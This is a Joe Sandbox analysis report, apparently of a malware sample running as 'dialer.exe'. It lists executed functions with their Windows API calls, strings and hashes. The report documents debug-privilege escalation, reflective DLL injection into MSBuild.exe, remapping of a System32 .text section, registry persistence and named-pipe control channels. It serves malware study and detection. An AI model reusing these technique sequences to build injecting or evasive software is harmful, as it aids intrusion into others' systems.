Opcode Fuzzy Hash: c7cd6fb1a3cf0ed8ad16bed87866a30e1eab261de436937ef50593f3512b0507
Instruction Fuzzy Hash: 17F0BE32A1C5048FD6A8EB5CE4008A873E0FF5436071100BAE01EC71A3CB2AEC54CB42

Function 00007FF886D04400 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571998719.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3d04393ca1a02d6b8d278e8635c13e7b7b8d3e0ed0d5bd2976e6c7bf47f4a7
Instruction ID: 2ecf7a19c7b76c05046ab8f7249e8413a64489da7e6e70c56402a3bccf018035
Opcode Fuzzy Hash: bd3d04393ca1a02d6b8d278e8635c13e7b7b8d3e0ed0d5bd2976e6c7bf47f4a7
Instruction Fuzzy Hash: 27F09432A1C5488FD668EA58E0408A877E0FF08320B0100BAE00ACB0A3CB2AEC44CB52

Function 00007FF886D041D1 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1571998719.00007FF886D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff886d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction ID: 8a49ed8821604c753af21b4e23c127ec9e74a7ae4fa7d6259ea1ef3d3aa2c961
Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
Instruction Fuzzy Hash: 75E01A31B0C808DFDAA8DB0CE040DA973E1FB9837175101BBD14EC7562CA22EC61CB82

Analysis Process: dialer.exePID: 7616, Parent PID: 2072COMMON

Execution Graph

Execution Coverage:	47.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.3%
Total number of Nodes:	226
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140002399
DLL, xrefs: 0000000140002321
ntdll.dll, xrefs: 0000000140002277
svc64, xrefs: 0000000140002452
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
kernel32.dll, xrefs: 0000000140002283
SeDebugPrivilege, xrefs: 00000001400022C9
pid, xrefs: 000000014000241B

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

ReflectiveDllMain, xrefs: 000000014000139D
dialer.exe, xrefs: 00000001400011CC
@, xrefs: 0000000140001401
MSBuild.exe, xrefs: 00000001400011B8

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

.text, xrefs: 0000000140002074
C:\Windows\System32\, xrefs: 0000000140001F4F

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

M, xrefs: 0000000140002C6E
\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000025.00000002.2637300261.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.2637061479.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2637659845.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.2638108328.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_dialer.jbxd

Similarity

